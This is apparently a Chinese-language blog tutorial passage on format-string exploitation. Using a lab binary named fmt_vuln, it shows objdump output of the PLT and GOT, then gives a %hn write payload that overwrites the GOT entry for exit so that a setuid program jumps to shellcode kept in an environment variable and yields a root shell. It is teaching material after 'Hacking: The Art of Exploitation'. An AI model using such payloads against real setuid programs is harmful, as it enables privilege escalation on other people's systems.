可能会有人问能不能通过这种漏洞来getshell呢,答案是可以的,且方法不止一种,下面介绍一种相对来说简单且常用的方法,通过覆盖GOT表方法来getshell的trick,总体的思路就是程序最后要执行exit函数,我们覆盖exit函数的地址为shellcode的地址来达到getshell的目的。
我们知道一个程序可以使用共享库,那么它必然有一个存放了各个函数对应的地址的表,这个表就是PLT(procedure linkage table)。
使用objdump 查看plt section
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -d -j .plt ./fmt_vuln
./fmt_vuln: file format elf32-i386
Disassembly of section .plt:
08048360 :
8048360:ff 35 04 a0 04 08 pushl 0x804a004
8048366:ff 25 08 a0 04 08 jmp *0x804a008
804836c:00 00 add %al,(%eax)
...
08048370 :
8048370:ff 25 0c a0 04 08 jmp *0x804a00c
8048376:68 00 00 00 00 push $0x0
804837b:e9 e0 ff ff ff jmp 8048360 <_init>
08048380 :
8048380:ff 25 10 a0 04 08 jmp *0x804a010
8048386:68 08 00 00 00 push $0x8
804838b:e9 d0 ff ff ff jmp 8048360 <_init>
08048390 :
8048390:ff 25 14 a0 04 08 jmp *0x804a014
8048396:68 10 00 00 00 push $0x10
804839b:e9 c0 ff ff ff jmp 8048360 <_init>
080483a0 <__gmon_start__>:
80483a0:ff 25 18 a0 04 08 jmp *0x804a018
80483a6:68 18 00 00 00 push $0x18
80483ab:e9 b0 ff ff ff jmp 8048360 <_init>
080483b0 :
80483b0:ff 25 1c a0 04 08 jmp *0x804a01c
80483b6:68 20 00 00 00 push $0x20
80483bb:e9 a0 ff ff ff jmp 8048360 <_init>
080483c0 <__libc_start_main>:
80483c0:ff 25 20 a0 04 08 jmp *0x804a020
80483c6:68 28 00 00 00 push $0x28
80483cb:e9 90 ff ff ff jmp 8048360 <_init>
080483d0 :
80483d0:ff 25 24 a0 04 08 jmp *0x804a024
80483d6:68 30 00 00 00 push $0x30
80483db:e9 80 ff ff ff jmp 8048360 <_init>
如上所示可以看到exit函数的相关跳转,但是这个plt section是READONLY即只读不可修改的
1
2
3xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -h ./fmt_vuln | grep -A1 "\ .plt\ "
11 .plt 00000080 08048360 08048360 00000360 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
但如果仔细看的话,可以知道jmp *0x804a01c 中的jmp地址并不是一个直接的地址,而是一个指针指向的地址,即exit函数的地址是存放在地址0x804a01c处的。
这些个地址是存在放另外的section的,叫做global offset table(GOT),它是可写的。然后通过objdump可以获取的到。
如上说明exit函数是在0x0804a01c这个地址上的。
1./fmt_vuln $(printf "\x1e\xa0\x04\x08\x1c\xa0\x04\x08")%49143x%4\$hn%12981x%5\$hn
这次我们还是将shellcode放入到环境变量中,然后将exit函数的地址指向shellcode所存放的环境变量(这种一般是用在提权操作上,普通用户运行了setuid的程序)
如上,当程序调用exit函数的时候,通过PLT跳转并在GOT表中获取到了调用的地址,由于这个地址已经被修改为shellcode的入口地址,所以我们就获取到了root权限的shell。
可以写任意地址其实就提供了很多种可能性,只要是可写的内存且包含了程序执行流的都可以是写入的目标。
其它
这里就主要过程做了说明,想要真正理解还需要自己动手去实践。
github repo
Reference
《Hacking the art of exploitation》0x352